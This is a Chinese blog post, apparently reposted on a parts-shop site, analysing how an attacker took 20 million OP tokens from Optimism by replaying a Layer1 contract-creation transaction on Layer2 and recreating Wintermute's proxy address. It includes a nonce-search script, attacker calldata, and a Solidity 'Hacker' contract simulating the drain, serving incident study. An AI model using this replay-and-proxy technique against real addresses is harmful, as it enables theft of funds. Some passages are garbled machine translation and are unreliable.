资讯详情

深度解析Optimism被盗2000万个OP事件(含代码)

深度解析Optimism被盗2000万个OP事件

本文深入分析本文 Optimism窃取事件:Layer2 整理和细化网络合同重放攻击,并配备详细的示例代码。

本文的示例代码:https://github.com/youngqqcn/optimism-attack-analysis

起因

为简化,用甲乙代替公司名称。(optimism)要乙方(Wintermute)帮忙做事,因为B在layer1玩得很滑,甲方想在自己身上layer2也玩起来。

于是,乙方爽快地答应了,给甲方一个收币地址,说:你忘了在这个地址上转币,我在这里做其他事情。甲方很高兴将2000万个收币地址转移给乙方OP乙方表示没有收到货币。一查才发现,乙方提供的是layer1地址,甲方转layer2的地址,虽然地址长得一样,但这个地址在layer上面还没有创建(没有创建也可以转账)。

我该怎么办?当双方的技术人员看到这是一个黑洞地址时,现在没有人能转移里面的硬币。只要操作一波,他们就可以找到这些硬币,但现在是五一假期。每个人都在夏威夷独家。五一节后(开玩笑)。黑客没有五一节。他们立即采取行动,拿走了里面的硬币。甲乙双方都很尴尬。

分析

黑客做到了吗? 只要两步:

  • 在layer在2上创建乙方的收币地址(合同地址)
  • 获得乙方收币地址的所有权(控制权),因为地址是合同地址,是合同地址proxy合同,即代理合同。
  • 转移资金

Layer1

  • Gnosis Safe Proxy Factory(以下统称合同A): 0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b
  • Wintermute proxy(以下统称合同B): 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81

合同A由此交易创建:https://etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261 该交易的发起地址为:0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a

在这里插入图片描述

由此交易创建合同B:https://etherscan.io/tx/0xd705178d68551a6a6f65ca74363264b32150857a26dd62c27f3f96b8ec69ca01#eventlog

这笔交易的发起人并不重要,重要的是调用ProxyCreation参数,0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b,这个地址是合同A

Layer2

  • 合约地址A:0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b
  • 合约地址B:0x4f3a120e72c76c22ae802d129f599bfdbc31cb81

https://etherscan.io/txs?a=0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a

? 第一步:如何在layer创建合同地址A?

因为layer1.合同A的交易没有使用EIP155,所以可以重放这笔交易。

重放layer创建合同A的交易:https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261 ,确保发送笔交易nonce与layer创建合同A时也可以。

如何重放? 可以使用RPC sendRawTransaction将交易data发到layer当然,你应该确保账户有余额

? 第二步:如何在layer创建合同地址B?

合同地址生成原理: Hash(caller, nonce_of_caller)

普通地址的nonce交易次数、合同地址nonce价值是合同地址创建的合同数量。nonce值可以太坊JSON RPC接口获取

例如,获取当前的nonce值

curl https://mainnet.infura.io/v3/8a264f274fd94de48eb290d35db030ab \ -X POST \ -H "Content-Type: application/json" \ -d \ '{ "jsonrpc": "2.0", "method": "eth_getTransactionCount", "params": [ "0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b", "latest" ], "id": 1 }' 

输出

{"jsonrpc":"2.0","id":1,"result":"0x89a7"} 

其中,0x89a735239,黑客想创建这么多合同吗?因为layer1上合同B是2020年创建的,当时合同Anonce肯定没那么大。有没有办法获得创建合同B时合同A的准确性?nonce值呢?有的!etherscan就记录了state的转换:https://etherscan.io/tx/0xd705178d68551a6a6f65ca74363264b32150857a26dd62c27f3f96b8ec69ca01#statechange

nonce从8884增加到了8885,也就是说,我们想要得到的nonce值就是8884

当然也可以用以下代码找到nonce值:

const Web3 = require("web3"); const RLP = require("rlp");  const account = "0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b";  for (let nonce = 0; nonce < 0xffffffff; nonce++){ 
        
    let e = RLP.encode([account, nonce] );
    const nonceHash = Web3.utils.sha3(Buffer.from(e));
    const targetAddress = '0x'+ nonceHash.substring(26)
    if(targetAddress === '0x4f3a120e72c76c22ae802d129f599bfdbc31cb81') { 
        
        console.log(nonce)
        break
    }
}

输出结果是:8884

黑客创建了一个攻击合约(以下称作合约C):0xE7145dd6287AE53326347f3A6694fCf2954bcD8A

只要调用合约A不停地创建合约,当nonce与layer1创建合约B那笔交易的nonce相同,就可以在layer2创建出合约地址B。

黑客在layer2上创建合约B地址的交易log,在135位置:https://optimistic.etherscan.io/tx/0x00a3da68f0f6a69cb067f09c3f7e741a01636cbc27a84c603b468f65271d415b#eventlog

黑客是如何将合约B中的masterCopy设置为自己的攻击合约地址的?

在区块浏览器查不到合约B的构造参数,但是我们看合约A的代码 https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b#code:


/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param masterCopy Address of master copy.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address masterCopy, bytes memory data)
    public
    returns (Proxy proxy)
{
    proxy = new Proxy(masterCopy);
    if (data.length > 0)
        // solium-disable-next-line security/no-inline-assembly
        assembly {
            if eq(call(gas, proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) }
        }
    emit ProxyCreation(proxy);
}

只要在调用createProxy时将masterCopy设置为黑客自己的攻击合约地址即可,data为空,这样即可。

⭐ 第3步:如何转移合约B中的金额?

黑客转移合约B上的1000000个OP的交易:https://optimistic.etherscan.io/tx/0x230e17117986f0dc7259db824de1d00c6cf455c925c0c8c6b89bf0b6756a7b7e

查看内部交易:https://optimistic.etherscan.io/tx/0x230e17117986f0dc7259db824de1d00c6cf455c925c0c8c6b89bf0b6756a7b7e#internal

其中 0xE7145dd6287AE53326347f3A6694fCf2954bcD8A 就是黑客攻击合约

交易的inputData

0xad8d5f480000000000000000000000004200000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a9059cbb00000000000000000000000060b28637879b5a09d21b68040020ffbf7dba510700000000000000000000000000000000000000000000d3c21bcecceda100000000000000000000000000000000000000000000000000000000000000

其中 0xad8d5f48: 是exec(address,bytes,uint256)的签名

我们再看看layer1上合约B的源码:


contract Proxy {

    // masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
    // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
    address internal masterCopy;

    /// @dev Constructor function sets address of master copy contract.
    /// @param _masterCopy Master copy address.
    constructor(address _masterCopy)
        public
    {
        require(_masterCopy != address(0), "Invalid master copy address provided");
        masterCopy = _masterCopy;
    }

    /// @dev Fallback function forwards all transactions and returns all received return data.
    function ()
        external
        payable
    {
        // solium-disable-next-line security/no-inline-assembly
        assembly {
            let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, masterCopy)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) { revert(0, returndatasize()) }
            return(0, returndatasize())
        }
    }
}

问题来了,并没有发现exec函数!这是怎么回事呢?

我们注意到,函数function () external payablefallback函数,也就是说当调用时没有匹配到函数时,会进入fallback函数。

因为masterCopy在创建合约B时,就已经设置为黑客自己的攻击合约地址0xE7145dd6287AE53326347f3A6694fCf2954bcD8A

如此一来,代码中的delegatecall调用黑客自己的攻击合约,然后在攻击合约中执行OP合约(0x4200000000000000000000000000000000000042)的ERC20的transfer操作,又因为使用的是delegatecallmsg.sender就是合约B的地址,即(0x4f3a120e72c76c22ae802d129f599bfdbc31cb81),所以,调用transfer时,扣除的msg.sender的OP代币余额,这样,就可以转移了OP代币。

我们再验证这个合约B的“转发”功能,

其中0x8da5cb5b是函数owner()的签名。合约B0x4f3a120e72c76c22ae802d129f599bfdbc31cb81将请求转发到黑客的攻击合约,如下图:

模拟转移代币

为了更加深入理解,我们编写一个测试合约,来模拟黑客转移代币的操作。

  • 我们把proxy的代码复制过来;
  • 然后编写一个Erc20合约模拟OP代币合约,秩序实现一个简单的transfer操作;
  • 再编写一个Hacker合约,模拟黑客的攻击合约

代码如下:

pragma solidity ^0.4.26;

contract Proxy {

    address internal masterCopy;
    constructor(address _masterCopy)
        public
    {
        require(_masterCopy != address(0), "Invalid master copy address provided");
        masterCopy = _masterCopy;
    }

    /// @dev Fallback function forwards all transactions and returns all received return data.
    function ()
        external
        payable
    {
        // solium-disable-next-line security/no-inline-assembly
        assembly {
            let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, masterCopy)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) { revert(0, returndatasize()) }
            return(0, returndatasize())
        }
    }
}


contract Erc20 {
    address public sender;
    // 为了方便查看结果,我们输出一个log
    event Transfer(address indexed from, address indexed to, uint256 value);
    function transfer(address to, uint256 amount) external returns (bool) {
        sender = msg.sender;
        // 略,其他操作,从msg.sender余额扣除,增加to的余额
        emit Transfer(msg.sender, to, amount);
        return true;
    }
}


contract Hacker {
    event Ok(address,bytes,uint256);
    event Failed(bool);

    function exec(address addr, bytes data, uint256 amount)  public payable returns(bool){
        Erc20 erc20 = Erc20(addr);
        address to = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
        assembly {
            to := mload(add(data,20)) // 将data转为地址
        }
        bool success = erc20.transfer(to, amount);
        if(success) {
            // 为了方便查看结果,我们输出一个log
            emit Ok(addr, data, amount);
            return true;
        } else {
            // 为了方便查看结果,我们输出一个log
            emit Failed(false);
            return false;
        }
    }   

}

具体部署步骤:

  • 部署Erc20合约
  • 部署Hacker合约
  • 部署proxy合约,构造参数将masterCopy地址设置Hacker合约地址即可

为了获得proxy的调用data,我们这里先直接调用Hackerexec函数,这样就可以获得完整的input data

0xad8d5f4800000000000000000000000032f99155646d147b8a4846470b64a96dd9cba4140000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000115c000000000000000000000000000000000000000000000000000000000000001460b28637879b5a09d21b68040020ffbf7dba5107000000000000000000000000

我们将此input data 填入proxy的CALLDATA,就可以调用proxy的fallback函数,运行结果如下:

至此,我们这个分析流程结束。

总结

山外有山,人外有人。区块链的世界充满机遇,同时也充满风险。

标签: kc120e3e精密电阻

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台